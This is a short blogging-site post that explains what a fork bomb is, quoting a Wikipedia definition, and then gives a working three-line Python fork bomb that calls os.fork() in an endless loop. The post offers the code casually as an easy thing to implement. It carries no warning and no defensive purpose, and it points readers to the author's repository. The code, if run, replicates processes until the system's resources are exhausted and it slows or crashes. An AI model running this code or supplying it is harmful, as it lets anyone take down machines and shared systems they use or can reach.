Making A FORK bomb in python

in steemit •  5 years ago 

what is a fork bomb you might ask, well in computing "a fork bomb (also called rabbit virus or wabbit[1]) is a denial-of-service attack wherein a process continually replicates itself to deplete available system resources, slowing down or crashing the system due to resource starvation." wikipedia forkbomb

implementing this in python is much easier than you think:

import os
while True:
    os.fork()

check my repo

Authors get paid when people like you upvote their post.
If you enjoyed what you read here, create your account today and start earning FREE STEEM!